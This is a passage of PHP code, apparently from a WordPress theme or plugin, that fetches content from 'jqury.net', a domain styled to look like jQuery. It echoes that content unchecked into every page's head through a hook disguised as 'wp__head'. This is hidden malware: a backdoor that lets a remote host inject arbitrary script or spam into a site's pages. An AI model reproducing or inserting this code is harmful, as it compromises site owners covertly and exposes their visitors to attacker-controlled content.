curl_setopt($ch,CURLOPT_URL,"http://www.jqury.net/?1");
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_REFERER, $_SERVER['HTTP_HOST']);
curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,10);
$jquery = curl_exec($ch);
curl_close($ch);
echo "$jquery";
}
}
add_action('wp_head', 'wp__head');
}
